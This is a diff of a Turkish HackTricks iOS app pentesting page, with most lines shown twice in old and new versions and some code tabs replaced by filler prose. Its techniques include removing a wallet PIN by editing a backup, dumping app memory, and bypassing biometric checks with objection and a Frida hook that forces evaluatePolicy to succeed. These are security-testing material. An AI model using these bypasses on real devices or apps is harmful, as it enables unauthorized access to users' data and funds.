[DinoSec'in GitHub deposunda](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts) bulunan Python betikleri, **backup\_tool.py** ve **backup\_passwd.py** gibi, en son iTunes/Finder sürümleriyle uyumluluk için ayarlamalar gerektirebilecek olsa da, kullanışlı olabilir. Şifre korumalı yedeklemelerdeki dosyalara erişim için başka bir seçenek ise [**iOSbackup** aracı](https://pypi.org/project/iOSbackup/)dir.
[DinoSec'in GitHub deposunda](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts) bulunan **backup\_tool.py** ve **backup\_passwd.py** gibi Python betikleri, şifreli yedeklemelerle başa çıkmak için kullanışlı olabilir, ancak muhtemelen en son iTunes/Finder sürümleriyle uyumluluğu sağlamak için ayarlamalar gerekebilir. Şifre korumalı yedeklemelerdeki dosyalara erişim için başka bir seçenek olan [**iOSbackup** aracı](https://pypi.org/project/iOSbackup/) bulunmaktadır.
### Uygulama Davranışını Değiştirme
Yedekleme değişiklikleri aracılığıyla uygulama davranışını değiştirme örneği, [Bither bitcoin cüzdan uygulamasında](https://github.com/bither/bither-ios) gösterilmektedir, burada UI kilidi PIN'inin **pin\_code** anahtarı altında `net.bither.plist` içinde saklandığı. Bu anahtarı plist'ten kaldırarak ve yedeği geri yükleyerek PIN gereksinimini kaldırarak sınırsız erişim sağlanabilir.
Yedekleme değişiklikleri aracılığıyla uygulama davranışını değiştirme örneği, [Bither bitcoin cüzdan uygulamasında](https://github.com/bither/bither-ios) gösterilmektedir, burada UI kilidi PIN'inin **pin\_code** anahtarı altında `net.bither.plist` içinde depolandığı. Bu anahtarı plist dosyasından kaldırarak ve yedeği geri yükleyerek PIN gereksinimini kaldırarak sınırsız erişim sağlanabilir.
## Hassas Veriler İçin Bellek Testi Özeti
Bir uygulamanın belleğinde saklanan hassas bilgilerle uğraşırken, bu verilerin maruz kalma süresini sınırlamak çok önemlidir. Bellek içeriğini araştırmak için iki temel yaklaşım vardır: **bir bellek dökümü oluşturma** ve **belleği gerçek zamanlı olarak analiz etme**. Her iki yöntemin de, döküm süreci veya analiz sırasında kritik verileri kaçırma potansiyeli gibi zorlukları vardır.
Bir uygulamanın belleğinde depolanan hassas bilgilerle uğraşırken, bu verilerin maruz kalma süresini sınırlamak çok önemlidir. Bellek içeriğini incelemek için iki temel yaklaşım vardır: **bir bellek dökümü oluşturma** ve **belleği gerçek zamanlı olarak analiz etme**. Her iki yöntemin de, döküm süreci veya analiz sırasında önemli verileri kaçırma potansiyeli gibi zorlukları vardır.
## **Bir Bellek Dökümü Alıp Analiz Etme**
## **Bir Bellek Dökümü Alıp Analiz Etme**
Hem jailbreak yapılmış hem de yapılmamış cihazlar için, [objection](https://github.com/sensepost/objection) ve [Fridump](https://github.com/Nightbringer21/fridump) gibi araçlar bir uygulamanın işlem belleğini dökme imkanı sağlar. Bir kez döküldüğünde, bu verilerin analizi, aradığınız bilginin doğasına bağlı olarak çeşitli araçlar gerektirir.
Hem jailbreak yapılmış hem de yapılmamış cihazlar için, [objection](https://github.com/sensepost/objection) ve [Fridump](https://github.com/Nightbringer21/fridump) gibi araçlar bir uygulamanın işlem belleğini dökme imkanı sağlar. Bir kez döküldüğünde, bu verileri analiz etmek, aradığınız bilginin doğasına bağlı olarak çeşitli araçlar gerektirir.
Bir bellek dökümünden dizeleri çıkarmak için `strings` veya `rabin2 -zz` gibi komutlar kullanılabilir:
```bash
@ -721,7 +721,7 @@ $ strings memory > strings.txt
# Extracting strings using rabin2
$ rabin2 -ZZ memory > strings.txt
```
Daha detaylı bir analiz için, belirli veri tiplerini veya desenleri aramak için **radare2**, kapsamlı arama yetenekleri sunar:
Daha detaylı bir analiz için, belirli veri tipleri veya desenler aramak için **radare2**, kapsamlı arama yetenekleri sunar:
```bash
$ r2 <name_of_your_dump_file>
[0x00000000]> /?
@ -738,51 +738,51 @@ $ r2 frida://usb//<name_of_your_app>
### Zayıf Anahtar Yönetimi Süreçleri
Bazı geliştiriciler hassas verileri yerel depolamada saklar ve kodda sabit/tahmin edilebilir bir anahtarla şifreler. Bu yapılmamalı çünkü bazı tersine mühendislik saldırıları saldırganların gizli bilgileri çıkarmasına izin verebilir.
Bazı geliştiriciler hassas verileri yerel depolamada saklar ve kodda sabit/tahmin edilebilir bir anahtarla şifreler. Bu yapılmamalı çünkü bazı tersine mühendislik saldırıları, saldırganların gizli bilgileri çıkarmasına izin verebilir.
### Güvensiz ve/veya Kullanımdan Kaldırılmış Algoritmaların Kullanımı
Geliştiriciler **kullanımdan kaldırılmış algoritmaları** kullanmamalıdır **yetkilendirme kontrolü**, **veri depolama** veya **gönderme** işlemleri için. Bu algoritmaların bazıları: RC4, MD4, MD5, SHA1... Örneğin şifreleri depolamak için **hash** kullanılıyorsa, hashlerin tuz ile birlikte kullanıldığı kaba kuvvet saldırılarına **dayanıklı** olmalıdır.
Geliştiriciler **kullanımdan kaldırılmış algoritmaları** kullanmamalıdır **yetkilendirme kontrolü**, **veri depolama** veya **gönderme** işlemleri için. Bu algoritmaların bazıları şunlardır: RC4, MD4, MD5, SHA1... Örneğin şifreleri depolamak için **hash** kullanılıyorsa, hashlerin tuz ile birlikte kullanıldığı brute-force **dayanıklı** olmalıdır.
### Kontrol
Yapılması gereken ana kontroller, kod içinde **sabitlenmiş** şifreler/sırlar bulunup bulunmadığını, bunların **tahmin edilebilir** olup olmadığını ve kodun bazı tür zayıf **şifreleme** algoritmalarını kullanıp kullanmadığını bulmaktır.
Yapılması gereken ana kontroller, kod içinde **sabitlenmiş** şifreler/sırlar bulunup bulunamayacağını, bunların **tahmin edilebilir** olup olmadığını ve kodun bazı türde **zayıf** **şifreleme** algoritmalarını kullanıp kullanmadığını bulmaktır.
Bazı **şifreleme** **kütüphanelerini** otomatik olarak **objection** kullanarak izleyebileceğinizi bilmek ilginçtir:
İlginçtir ki, **objection** kullanarak bazı **şifreleme** **kütüphanelerini** otomatik olarak izleyebilirsiniz:
```swift
ios monitor crypt
```
**Daha fazla bilgi** için iOS şifreleme API'ları ve kütüphaneleri hakkında [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)'e erişin
iOS şifreleme API'ları ve kütüphaneleri hakkında **daha fazla bilgi** için [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)'e erişin
## Yerel Kimlik Doğrulama
**Yerel kimlik doğrulama**, özellikle uzaktaki bir uç noktaya şifreleme yöntemleri aracılığıyla erişimi koruma konusunda önemli bir rol oynar. Buradaki esas nokta, uygun şekilde uygulanmadığında yerel kimlik doğrulama mekanizmalarının atlatılabilir olabileceğidir.
Apple'ın [**Yerel Kimlik Doğrulama çerçevesi**](https://developer.apple.com/documentation/localauthentication) ve [**anahtarlık**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) geliştiricilere kullanıcı kimlik doğrulama iletişim kutularını kolaylaştırmak ve sırasıyla gizli verileri güvenli bir şekilde işlemek için sağlam API'lar sağlar. Güvenli Kasa, Parmak İzi Kimliği için parmak izi kimliğini güvence altına alırken, Yüz Kimliği biyometrik verileri tehlikeye atmadan yüz tanıma üzerine dayanır.
Apple'ın [**Yerel Kimlik Doğrulama çerçevesi**](https://developer.apple.com/documentation/localauthentication) ve [**anahtarlık**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) geliştiricilere kullanıcı kimlik doğrulama iletişim kutularını kolaylaştırmak ve sırlı verileri güvenli bir şekilde işlemek için sağlam API'lar sağlar. Güvenli Kasa, Parmak İzi Kimliği için parmak izi kimliğini güvence altına alırken, Yüz Kimliği biyometrik verileri tehlikeye atmadan yüz tanıma üzerine kuruludur.
Touch ID/Face ID'yi entegre etmek için geliştiricilerin iki API seçeneği vardır:
* Yüksek seviyeli kullanıcı kimlik doğrulaması için **`LocalAuthentication.framework`** biyometrik verilere erişim olmadan.
* Düşük seviyeli anahtarlık hizmetlerine erişim için **`Security.framework`**, biyometrik kimlik doğrulaması ile gizli verileri güvence altına alır. Çeşitli [ık kaynaklı sarmallar](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) anahtarlık erişimini daha basit hale getirir.
* Yüksek seviyeli kullanıcı kimlik doğrulama için **`LocalAuthentication.framework`**.
* Düşük seviyeli anahtarlık hizmetlerine erişim için **`Security.framework`**, biyometrik kimlik doğrulaması ile sırlı verileri güvence altına alır. Çeşitli [ık kaynaklı sarmallar](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) anahtarlık erişimini daha basit hale getirir.
{% hint style="danger" %}
Ancak, hem `LocalAuthentication.framework` hem de `Security.framework` güvenlik açıkları sunar, çünkü genellikle kimlik doğrulama süreçleri için veri iletmeksizin öncelikle boolean değerler döndürürler, bu da atlanabilir olmalarına neden olur (bkz. [Don't touch me that way, David Lindner ve diğerleri](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
Ancak, hem `LocalAuthentication.framework` hem de `Security.framework` güvenlik açıkları sunar, çünkü genellikle kimlik doğrulama süreçleri için veri iletmeksizin öncelikle boolean değerler döndürürler, bu da atlanabilirliklerine duyarlı hale getirir (bkz. [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
{% endhint %}
### Yerel Kimlik Doğrulaması Uygulamak
Kullanıcıları kimlik doğrulaması için yönlendirmek için g geliştiricilerin **`LAContext`** sınıfı içindeki **`evaluatePolicy`** yöntemini kullanmaları gerekmektedir, aşağıdakiler arasından seçim yaparak:
Kullanıcıları kimlik doğrulaması için yönlendirmek için geliştiricilerin **`LAContext`** sınıfı içindeki **`evaluatePolicy`** yöntemini kullanmaları gerekmektedir, şu seçenekler arasından seçim yapabilirler:
* **`deviceOwnerAuthentication`**: Touch ID veya cihaz şifresi için yönlendirme yapar, ikisi de etkin değilse başarısız olur.
* **`deviceOwnerAuthenticationWithBiometrics`**: Yalnızca Touch ID için yönlendirme yapar.
* **`deviceOwnerAuthentication`**: Parmak İzi veya cihaz şifresi için yönlendirme yapar, ikisi de etkin değilse başarısız olur.
* **`deviceOwnerAuthenticationWithBiometrics`**: Yalnızca Parmak İzi için yönlendirme yapar.
Başarılı bir kimlik doğrulama, **`evaluatePolicy`** yönteminden dönen boolean bir değerle gösterilir, bu da potansiyel bir güvenlik açığına işaret eder.
### Anahtarlık Kullanarak Yerel Kimlik Doğrulaması
iOS uygulamalarında **yerel kimlik doğrulaması** uygulamak, kimlik doğrulama belgeleri gibi gizli verileri güvenli bir şekilde saklamak için **anahtarlık API'lerinin** kullanımını içerir. Bu süreç, verinin yalnızca kullanıcı tarafından, cihaz şifresi veya Touch ID gibi biyometrik kimlik doğrulaması kullanılarak erişilebileceğini sağlar.
iOS uygulamalarında **yerel kimlik doğrulaması** uygulamak, kimlik doğrulama belgeleri gibi sırlı verileri güvenli bir şekilde saklamak için **anahtarlık API'lerinin** kullanımını içerir. Bu süreç, verinin yalnızca kullanıcı tarafından, cihaz şifresi veya Parmak İzi gibi biyometrik kimlik doğrulama kullanılarak erişilebileceğini sağlar.
Anahtarlık, `SecAccessControl` özniteliği ile öğeleri ayarlamak için yetenek sunar, bu da kullanıcının Touch ID veya cihaz şifresi aracılığıyla başarılı bir şekilde kimlik doğrulamasını yapana kadar öğeye erişimi kısıtlar. Bu özellik güvenliği artırmak için önemlidir.
Anahtarlık, `SecAccessControl` özniteliği ile öğeleri ayarlamak için yetenek sunar, bu da öğeye yalnızca kullanıcının Parmak İzi veya cihaz şifresi ile başarılı bir şekilde kimlik doğrulamasını yapana kadar erişimi kısıtlar. Bu özellik güvenliği artırmak için önemlidir.
Aşağıda, Swift ve Objective-C'de bir dizeyi anahtarlığa kaydetme ve geri almayı gösteren kod örnekleri bulunmaktadır, bu güvenlik özelliklerini kullanarak erişim kontrolünü ayarlamayı ve verinin yalnızca ayarlandığı cihazda, bir cihaz şifresinin yapılandırıldığı koşul altında erişilebilir olmasını sağlamayı özellikle göstermektedir.
@ -826,9 +826,11 @@ if status == noErr {
```
{% endtab %}
{% tab title="Objective-C" %}Objective-C için Pentesting
{% tab title="Objective-C" %}
Objective-C, iOS uygulamaları geliştirmek için kullanılan eski bir programlama dilidir. Pentesting sırasında Objective-C kodunu anlamak ve analiz etmek önemlidir çünkü uygulamanın güvenlik zafiyetlerini tespit etmede yardımcı olabilir. Bu dilde yazılmış uygulamalar genellikle hassas verileri işlediğinden, güvenlik testlerinde Objective-C kodunu incelemek kritik bir adımdır. {% endtab %}
iOS uygulamalarını incelemek için Objective-C kodunu anlamak önemlidir. Objective-C, iOS uygulamalarının geliştirilmesinde yaygın olarak kullanılan bir programlama dilidir. Uygulamanın davranışını anlamak ve güvenlik açıklarını tespit etmek için Objective-C kodunu okuyabilme yeteneği önemlidir.
{% endtab %}
```objectivec
// 1. create AccessControl object that will represent authentication settings
CFErrorRef *err = nil;
@ -859,10 +861,7 @@ if (status == noErr) {
{% endtab %}
{% endtabs %}
Şimdi anahtarlıkta saklanan öğeyi isteyebiliriz. Anahtarlık hizmetleri, kullanıcıya kimlik doğrulama iletişim kutusunu sunacak ve uygun bir parmak izi sağlandıysa veri veya nil döndürecektir.
{% tabs %}
{% tab title="Swift" %}
Artık anahtarlıkta kayıtlı öğeyi isteyebiliriz. Anahtarlık hizmetleri, kullanıcıya kimlik doğrulama iletişim kutusunu sunacak ve uygun bir parmak izi sağlanıp sağlanmadığına bağlı olarak veri veya nil değerini döndürecektir.
```swift
// 1. define query
var query = [String: Any]()
@ -891,17 +890,13 @@ let password = String(data: queryResult as! Data, encoding: .utf8)!
### Objective-C
Objective-C, Apple'ın geliştirdiği bir programlama dilidir ve iOS uygulamaları geliştirmek için kullanılır. Objective-C, C programlama diline ek olarak nesne yönelimli programlama özelliklerini de içerir. iOS uygulamalarını analiz ederken Objective-C kodunu anlamak önemlidir çünkü uygulamanın davranışını ve güvenlik zafiyetlerini tespit etmek için gereklidir.
Objective-C, Apple'ın geliştirdiği bir programlama dilidir ve iOS uygulamaları geliştirmek için kullanılmaktadır. Objective-C ile yazılmış uygulamalar, genellikle .m uzantılı dosyalarda bulunur.
Objective-C kodunu analiz etmek için statik analiz araçları ve dinamik analiz araçları kullanılabilir. Statik analiz araçları, uygulama kodunu inceleyerek potansiyel güvenlik zafiyetlerini tespit etmeye yardımcı olurken, dinamik analiz araçları uygulamanın çalışma zamanındaki davranışını inceleyerek güvenlik açıklarını tespit etmeye yardımcı olur.
Objective-C kodlarını incelemek ve anlamak için uygulamanın .ipa dosyasını açabilir ve içindeki .m dosyalarını analiz edebilirsiniz. Bu dosyalarda uygulamanın işlevselliği ve güvenlik açıkları hakkında bilgi bulabilirsiniz.
Objective-C kodunu analiz ederken dikkat edilmesi gereken bazı önemli konular şunlardır:
Objective-C kodlarını analiz etmek için Hopper Disassembler gibi araçlar kullanabilirsiniz. Bu araçlar sayesinde uygulamanın kaynak kodunu daha iyi anlayabilir ve güvenlik testleri yapabilirsiniz.
- Kötü niyetli uygulamaların tespiti
- Hassas verilerin güvenliği
- Güvenlik zafiyetlerinin tespiti ve giderilmesi
Objective-C kodunu analiz ederken bu konular göz önünde bulundurulmalı ve uygulamanın güvenliği için gerekli önlemler alınmalıdır.
Objective-C ile yazılmış uygulamalarda sıkça karşılaşılan güvenlik zafiyetleri arasında bellek sızıntıları, kötü niyetli yazılım enjeksiyonu ve veri doğrulama hataları bulunmaktadır. Bu tür zafiyetlerin tespit edilip giderilmesi önemlidir.
{% endtab %}
```objectivec
@ -926,7 +921,7 @@ NSLog(@"Something went wrong");
```
### Tespit
Uygulamadaki çerçevelerin kullanımı, uygulama ikili dosyasının paylaşılan dinamik kütüphaneler listesini analiz ederek de tespit edilebilir. Bunun için `otool` kullanılabilir:
Uygulamadaki çerçevelerin kullanımı, uygulama ikili dosyasının paylaşılan dinamik kütüphaneler listesini analiz edilerek de tespit edilebilir. Bunun için `otool` kullanılabilir:
```bash
$ otool -L <AppName>.app/<AppName>
```
@ -941,7 +936,7 @@ Eğer `Security.framework` kullanılıyorsa, sadece ikinci olan gösterilecektir
#### **Objection**
**Objection Biyometrik Atlatma** aracılığıyla, [bu GitHub sayfasında](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) bulunan bir teknik, **LocalAuthentication** mekanizmasını aşmak için mevcuttur. Bu yaklaşımın özü, `evaluatePolicy` fonksiyonunu manipüle etmek için **Frida**'yı kullanmaktır, böylece gerçek kimlik doğrulama başarısından bağımsız olarak sürekli olarak `True` sonucu vermesini sağlar. Bu, hatalı biyometrik kimlik doğrulama süreçlerini atlamak için özellikle yararlıdır.
**Objection Biyometrik Atlatma** aracılığıyla, [bu GitHub sayfasında](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) bulunan bir teknik, **LocalAuthentication** mekanizmasını aşmak için kullanılabilir. Bu yaklaşımın özü, `evaluatePolicy` fonksiyonunu manipüle etmek için **Frida**'yı kullanmaktır, böylece gerçek kimlik doğrulama başarısından bağımsız olarak sürekli olarak `True` bir sonuç vermesini sağlar. Bu, hatalı biyometrik kimlik doğrulama süreçlerini atlamak için özellikle yararlıdır.
Bu atlatmayı etkinleştirmek için aşağıdaki komut kullanılır:
```bash
@ -952,7 +947,7 @@ Bu atlatmayı etkinleştirmek için aşağıdaki komut kullanılır:
(agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete
```
Bu komut, Objection'ın bir görev kaydettiği bir sıra başlatır; bu görev, `evaluatePolicy` kontrolünün sonucunu etkili bir şekilde `True` olarak değiştirir.
Bu komut, Objection'ın bir görev kaydettiği bir sırayı başlatır ve `evaluatePolicy` kontrolünün sonucunu etkili bir şekilde `True` olarak değiştirir.
#### Frida
@ -984,7 +979,7 @@ dispatch_async(dispatch_get_main_queue(), ^{
}
}
```
**Yerel Kimlik Doğrulaması**nın **atlatılması** için bir Frida betiği yazılır. Bu betik, **evaluatePolicy** kontrolünü hedef alarak, geri aramasını onaylamak için onu engeller ve **success=1** döndüğünden emin olur. Geri aramanın davranışını değiştirerek, kimlik doğrulama kontrolü etkili bir şekilde atlatılır.
**Yerel Kimlik Doğrulaması**nın **atlatılması** için bir Frida betiği yazılır. Bu betik, **evaluatePolicy** kontrolünü hedef alarak, geri aramasını onaylamak için onu engeller ve **success=1** değerini döndürmesini sağlar. Geri aramanın davranışını değiştirerek, kimlik doğrulama kontrolü etkili bir şekilde atlatılmış olur.
Aşağıdaki betik, **evaluatePolicy** yönteminin sonucunu değiştirmek için enjekte edilir. Geri aramanın sonucunu her zaman başarı olarak gösterir.
```swift
@ -1008,11 +1003,11 @@ return result;
console.log("Objective-C Runtime is not available!");
}
```
Frida betiği enjekte etmek ve biyometrik kimlik doğrulamayı atlamak için aşağıdaki komut kullanılır:
Frida betiği enjekte etmek ve biyometrik kimlik doğrulamasını atlamak için aşağıdaki komut kullanılır:
```bash
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
```
## IPC Aracılığıyla Hassas Fonksiyonelliğin Açığa Çıkarılması
## IPC Aracılığıyla Hassas Fonksiyonelliğin Açığa Çıkması
### Özel URI İşleyicileri / Derin Bağlantılar / Özel Şemalar
@ -1067,12 +1062,12 @@ Bu tür sorunları kontrol etmek için **Burp** gibi bir proxy kullanabilirsiniz
### Ana Bilgisayar Adı Kontrolü
TLS sertifikasını doğrularken karşılaşılan yaygın bir sorun, sertifikanın **güvenilir bir CA** tarafından imzalandığını kontrol etmek, ancak sertifikanın **erişilen ana bilgisayar adı** olup olmadığını kontrol etmemektir.\
TLS sertifikasını doğrularken karşılaşılan yaygın bir sorun, sertifikanın bir **güvenilir CA** tarafından imzalandığını kontrol etmek, ancak sertifikanın **erişilen ana bilgisayar adı** olup olmadığını kontrol etmemektir.\
Bu sorunu Burp kullanarak kontrol etmek için, iPhone'da Burp CA'ya güven verdikten sonra, farklı bir ana bilgisayar adı için Burp ile yeni bir sertifika **oluşturabilir ve kullanabilirsiniz**. Uygulama hala çalışıyorsa, bir zafiyet bulunmaktadır.
### Sertifika Pinleme
Bir uygulama SSL Pinning'i doğru bir şekilde kullanıyorsa, uygulama yalnızca beklenen sertifika olduğunda çalışacaktır. Bir uygulamayı test ederken **bu bir sorun olabilir çünkü Burp kendi sertifikasını sunacaktır.**\
Bir uygulama doğru şekilde SSL Pinning kullanıyorsa, uygulama yalnızca beklenen sertifika olduğunda çalışacaktır. Bir uygulamayı test ederken **bu bir sorun olabilir çünkü Burp kendi sertifikasını sunacaktır.**\
Bu korumayı bir jailbroken cihazda atlamak için, uygulamayı [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) veya [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) yükleyebilirsiniz.
Ayrıca **objection**'ın `ios sslpinning disable` komutunu da kullanabilirsiniz.
@ -1083,22 +1078,22 @@ Ayrıca **objection**'ın `ios sslpinning disable` komutunu da kullanabilirsiniz
* Kullanıcı tarafından App Store'dan yüklenen uygulamalar **`/User/Applications`** içinde bulunur.
* Ve **`/User/Library`** kullanıcı düzeyi uygulamalar tarafından kaydedilen verileri içerir.
* Uygulama içinde kaydedilen notları okumak için **`/User/Library/Notes/notes.sqlite`**'e erişebilirsiniz.
* Yüklenmiş bir uygulamanın klasörü içinde (**`/User/Applications/<APP ID>/`**) bazı ilginç dosyalar bulabilirsiniz:
* Yüklenen bir uygulamanın klasörü içinde (**`/User/Applications/<APP ID>/`**) bazı ilginç dosyalar bulabilirsiniz:
* **`iTunesArtwork`**: Uygulama tarafından kullanılan simge
* **`iTunesMetadata.plist`**: App Store'da kullanılan uygulama bilgileri
* **`/Library/*`**: Tercihleri ve önbelleği içerir. **`/Library/Cache/Snapshots/*`** içinde, uygulamanın arka plana gönderilmeden önce yapılan anlık görüntüleri bulabilirsiniz.
* **`/Library/*`**: Tercihleri ve önbelleği içerir. **`/Library/Cache/Snapshots/*`** içinde, uygulamanın arka planda gönderilmeden önce yapılan anlık görüntüsünü bulabilirsiniz.
### Sıcak Yama/Zorunlu Güncelleme
Geliştiriciler, uygulamalarının tüm yüklemelerine anında **yama uygulayabilirler** ve uygulamayı App Store'a yeniden gönderip onaylanmasını beklemek zorunda kalmazlar.\
Bu amaçla genellikle [**JSPatch**](https://github.com/bang590/JSPatch) gibi araçlar kullanılır. Ancak [Siren](https://github.com/ArtSabintsev/Siren) ve [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker) gibi diğer seçenekler de mevcuttur.\
Bu amaçla genellikle [**JSPatch**](https://github.com/bang590/JSPatch)** gibi kullanılır.** Ancak [Siren](https://github.com/ArtSabintsev/Siren) ve [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker) gibi diğer seçenekler de vardır.\
**Bu, kötü niyetli üçüncü taraf SDK'ları tarafından kötüye kullanılabilecek tehlikeli bir mekanizmadır, bu nedenle otomatik güncelleme için hangi yöntemin kullanıldığını kontrol etmeniz ve test etmeniz önerilir.** Bu amaçla uygulamanın önceki bir sürümünü indirmeyi deneyebilirsiniz.
### Üçüncü Taraflar
**3. taraf SDK'ları** ile önemli bir zorluk, işlevsellikleri üzerinde **ayrıntılı kontrol eksikliğidir**. Geliştiriciler, ya SDK'yı entegre eder ve potansiyel güvenlik açıkları ve gizlilik endişeleri de dahil olmak üzere tüm özelliklerini kabul eder, ya da tamamen faydalarından vazgeçer. Genellikle, geliştiriciler bu SDK'ların içindeki güvenlik açıklarını kendileri yamayamazlar. Dahası, SDK'lar topluluk içinde güven kazandıkça, bazıları kötü amaçlı yazılımlar içerebilir.
**3. taraf SDK'ları** ile önemli bir zorluk, işlevsellikleri üzerinde **ayrıntılı kontrol eksikliğidir.** Geliştiriciler, ya SDK'yı entegre eder ve potansiyel güvenlik açıkları ve gizlilik endişeleri de dahil olmak üzere tüm özelliklerini kabul eder ya da tamamen faydalarından vazgeçer. Genellikle, geliştiriciler bu SDK'ların içindeki güvenlik açıklarını kendileri yamayamazlar. Dahası, SDK'lar topluluk içinde güven kazandıkça, bazıları kötü amaçlı yazılım içerebilir.
Üçüncü taraf SDK'ların sağladığı hizmetler arasında kullanıcı davranışlarını izleme, reklam gösterimi veya kullanıcı deneyimi iyileştirmeleri bulunabilir. Ancak, bu, geliştiricilerin bu kütüphaneler tarafından yürütülen kodun tam olarak farkında olmamalarına ve potansiyel gizlilik ve güvenlik risklerine yol açabilir. Üçüncü taraf hizmetlerle paylaşılan bilgilerin sınırlı olması ve hassas verilerin açığa çıkarılmamasının sağlanması önemlidir.
Üçüncü taraf SDK'ların sağladığı hizmetler, kullanıcı davranışı izleme, reklam gösterimi veya kullanıcı deneyimi iyileştirmelerini içerebilir. Ancak, bu, geliştiricilerin bu kütüphaneler tarafından yürütülen kodun tam olarak farkında olmamaları nedeniyle potansiyel gizlilik ve güvenlik risklerini beraberinde getirir. Üçüncü taraf hizmetlerle paylaşılan bilgilerin sınırlı olması ve hassas verilerin açığa çıkarılmamasının sağlanması önemlidir.
Üçüncü taraf hizmetlerin uygulanması genellikle iki şekilde gerçekleşir: bağımsız bir kütüphane veya tam bir SDK. Bu hizmetlerle paylaşılan verilerin, Kişisel Tanımlanabilir Bilgilerin (PII) ifşasını önlemek için **anonimleştirilmiş** olması gerekmektedir.
@ -1124,7 +1119,7 @@ otool -L <application_path>
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064](https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064)
* [https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc](https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc)
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054)
* [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) IOS ücretsiz kurs([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
* [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) IOS ücretsiz kursu([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
* [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577)
* [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse)
* [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA)
@ -1137,21 +1132,21 @@ otool -L <application_path>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturun ve **otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
<details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
* [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* **💬 [Discord grubumuza](https://discord.gg/hRep4RUj7f) veya [telegram grubumuza](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
